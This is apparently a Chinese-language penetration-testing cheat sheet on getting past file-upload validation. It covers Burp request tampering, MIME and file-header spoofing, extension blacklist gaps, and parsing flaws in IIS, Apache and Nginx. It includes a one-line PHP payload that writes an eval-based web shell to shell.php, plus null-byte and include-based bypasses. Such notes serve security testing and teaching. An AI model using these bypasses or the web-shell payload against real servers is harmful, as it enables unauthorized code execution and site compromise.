上傳驗證的種類:
1、 客戶端,javascript的驗證
判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時並沒有發送數據包。
解決方法:使用burp抓包改包,那么我們可以將一句話1.php先修改為1.jpg,然后發送,burp抓包,在burp中再將文件名修改回來。
2、 服務器端驗證:
1、 文件類型驗證:content-type驗證(image/gif)
解決方法:通過抓包改包將content-type字段改為image/gif
2、 文件頭驗證(文件頭,gif89a,jeff等,這里就是用圖片馬,圖片馬要修改名字)
解決方法:傳圖片馬,,如果是單純的對文件頭進行驗證,那就傳個圖片馬的php文件,如果結合了前端,就要在burp里修改為php文件。
3、 后綴名黑名單驗證
解決方法:1、試驗大小寫;2、漏網之魚(jsp:jspx,jspf ; asp:asa,cer,aspx ; php:php2 php3 php4 ; exe:exee)
4、 白名單驗證()
配合文件包含漏洞的使用:(他檢驗的是特定后綴文件的內容的)
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬。
繞過方式:(這里拿php為例,此漏洞主要存在於PHP中)
(1)先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(2)然后再上傳一個.php的文件,內容為<?php Include(“上傳的txt文件路徑”);?>
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:
#PHP
<?php Include("上傳的txt文件路徑");?>
服務器解析漏洞
操作系統文件命令
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服務器,大多為windows server 2003,網站比較古老,開發語句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。
目錄解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服務器默認會把.asp,.asp目錄下的文件都解析成asp文件。(傳個圖片馬)
文件解析
形式:www.xxx.com/xx.asp;.jpg(文件名)
原理:服務器默認不解析;號后面的內容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件類型
IIS6.0 默認的可執行文件除了asp還包含這三種 :
/test.asa
/test.cer
/test.cdx
(二)apache解析漏洞
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如test.php.qwe.asd “.qwe”和”.asd” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣能以php 方式執行。(htaccess文件上傳解析漏洞,可以將這段代碼寫到.htaccess中,再上傳寫有php一句話代碼的jpg文件中)
(三)nginx解析漏洞
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當 訪問www.xx.com/phpinfo.jpg/1.php這個URL時,$fastcgi_script_name會被設置為 “phpinfo.jpg/1.php”,然后構造成SCRIPT_FILENAME傳遞給PHP CGI,但是PHP為什么會接受這樣的參數,並將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項,那么就會觸發在PHP中的如下邏輯:
PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP文件來解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一種手法:上傳一個名字為test.jpg,然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
(四)IIS7.5解析漏洞
IIS7.5的漏洞與nginx的類似,都是由於php配置文件中,開啟了cgi.fix_pathinfo,而這並不是nginx或者iis7.5本身的漏洞。
5.配合操作系統文件命令規則
(1)上傳不符合windows文件命名規則的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA
會被windows系統自動去掉不符合規則符號后面的內容
如果遇到上傳一個php文件上傳后自動修改成為gif或者其他格式的后綴,則可以考慮使用雙重后綴,即為1.pphphp
MIME類型驗證(文件類型驗證)
直接修改Content-Type:允許的MIME類型
修改文件名為可執行文件,有時候需要配合修改multipart/form-data的大小寫
常見的MIME類型:
超文本標記語言文本 .html text/html
xml文檔 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文檔 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG圖像 .png image/png
GIF圖形 .gif image/gif
JPEG圖形 .jpeg,.jpg image/jpeg
au聲音文件 .au audio/basic
MIDI音樂文件 mid,.midi audio/midi,audio/x-midi
RealAudio音樂文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二進制數據 application/octet-stream
目錄路利用
解析是從前往后解析,判斷是從后往前判斷。
零零截斷一般步驟為:
1.新建一個名為test.php%00.jpg或者test.php.jpg
2.在里面寫入一句話木馬([如何在圖片中插入一句話](http://wenku.baidu.com/link?url=GoR21a2WWH2C8c8Q7HIgrz7CoW3B4suAwDaaRkAt6vgCZyYr7Le7Z9ZeiurBIE7NHuNwJ7dro5lCql8mRlk3y2IS7iFbWuQM99HV_kXDvTm))
3.burp抓包改%00或者.為url編碼
iis按照路徑解析的是:
比如我們上傳一個名為123.asp/123.jpg文件
則,123.asp/123.jpg會被直接解析成123.asp
0x02_4 文件擴展名利用
黑名單檢測
• 文件大小寫繞過
比如像Asp,Php之類的文件名繞過黑名單檢測
• 名單列表繞過
利用黑名單里沒有的名單進行攻擊,比如黑名單里沒有asa,cer,php3,php5之類的
• 特殊文件名繞過
修改文件名為test.asp.或者test.asp_(下划線為空格),繞過驗證之后,windows會自動去掉點和空格,linux和unix下不支持
• 0x00截斷繞過
• 雙擴展名繞過
apache解析式從后往前,所以如果上傳一個test.php.123,不認識.123的文件,所以會往前解析,直到遇到能解析的
Apache的擴展名順序解析漏洞
命名為test.php.xxx(集成環境里php3都會按照php來解析)
IIS的asp解析漏洞
• IIS6.0
• 1.命名為test.asp;.jpg
• 2.命名為test.asp/123.jpg(test.asp是一個目錄)
• 3.命名為test.asa,test.cer.test.cdx
• IIS7.5/7.0
• 在默認Fast-CGI開啟狀況下,上傳一個名字為test.jpg,內容為
• <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
• 的文件,然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
Nginx的%00解析漏洞
命名為test.jpg%00.php